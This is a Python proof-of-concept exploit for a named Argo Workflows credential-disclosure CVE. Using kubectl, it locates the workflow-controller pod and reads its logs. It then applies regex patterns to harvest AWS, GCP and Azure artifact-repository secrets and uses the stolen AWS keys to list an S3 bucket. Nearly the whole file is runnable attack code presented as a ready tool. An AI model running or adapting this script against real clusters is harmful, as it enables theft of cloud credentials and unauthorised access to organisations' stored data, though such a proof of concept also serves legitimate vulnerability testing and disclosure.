# CVE-2025-62157 PoC - Argo Workflows Artifact Credentials Disclosure
# This PoC demonstrates how an attacker with pod log read permissions
# can extract artifact repository credentials from workflow-controller logs.
import subprocess
import re
def exploit(target_namespace="argo", controller_label="app=workflow-controller"):
"""
Step 1: Identify the workflow-controller pod in the target namespace
"""
print("[*] Step 1: Finding workflow-controller pod...")
get_pods_cmd = [
"kubectl", "get", "pods", "-n", target_namespace,
"-l", controller_label, "-o", "name"
]
result = subprocess.run(get_pods_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"[-] Failed to list pods: {result.stderr}")
return None
pod_name = result.stdout.strip().split("\n")[0].replace("pod/", "")
print(f"[+] Found pod: {pod_name}")
"""
Step 2: Retrieve the workflow-controller logs
"""
print("[*] Step 2: Fetching pod logs...")
logs_cmd = ["kubectl", "logs", "-n", target_namespace, pod_name, "--all-containers=true"]
logs_result = subprocess.run(logs_cmd, capture_output=True, text=True)
if logs_result.returncode != 0:
print(f"[-] Failed to get logs: {logs_result.stderr}")
return None
logs = logs_result.stdout
print(f"[+] Retrieved {len(logs)} bytes of logs")
"""
Step 3: Search for artifact repository credentials in plaintext
Patterns commonly found in Argo Workflows logs for S3, GCS, Azure
"""
print("[*] Step 3: Extracting credentials from logs...")
patterns = {
"aws_access_key": r"(?:aws_access_key_id|accessKey|AWS_ACCESS_KEY_ID)['\"\s:=]+([A-Z0-9]{20})",
"aws_secret_key": r"(?:aws_secret_access_key|secretKey|AWS_SECRET_ACCESS_KEY)['\"\s:=]+([A-Za-z0-9/+=]{40})",
"gcp_service_account": r"(?:service_account_json|serviceAccountKey|googleCredentials)['\"\s:=]+(\{[^}]+\})",
"azure_account_key": r"(?:azure_account_key|accountKey|AZURE_ACCOUNT_KEY)['\"\s:=]+([A-Za-z0-9+/=]{88})",
"s3_endpoint": r"(?:s3\.endpoint|S3Endpoint|s3Endpoint)['\"\s:=]+(https?://[^\s'\"]+)",
"s3_bucket": r"(?:s3\.bucket|S3Bucket|s3Bucket)['\"\s:=]+([a-z0-9.-]+)",
}
credentials = {}
for key, pattern in patterns.items():
matches = re.findall(pattern, logs, re.IGNORECASE)
if matches:
credentials[key] = matches
print(f"[+] Found {key}: {matches[0][:10]}...")
if not credentials:
print("[-] No credentials found in logs")
return None
"""
Step 4: Optionally use the credentials to access the artifact repository
Example: listing objects in an S3-compatible bucket
"""
print("[*] Step 4: Attempting to use extracted credentials...")
# Example using AWS CLI (if installed and credentials were extracted)
if "aws_access_key" in credentials and "aws_secret_key" in credentials:
env = {
"AWS_ACCESS_KEY_ID": credentials["aws_access_key"][0],
"AWS_SECRET_ACCESS_KEY": credentials["aws_secret_key"][0],
}
bucket = credentials.get("s3_bucket", ["my-bucket"])[0]
list_cmd = ["aws", "s3", "ls", f"s3://{bucket}/"]
list_result = subprocess.run(list_cmd, env=env, capture_output=True, text=True)
print(f"[+] S3 bucket listing:\n{list_result.stdout}")
return credentials
if __name__ == "__main__":
creds = exploit()
if creds:
print("\n[+] Exploit successful! Extracted credentials:")
for k, v in creds.items():
print(f" {k}: {v}")
else:
print("\n[-] Exploit failed or no credentials found")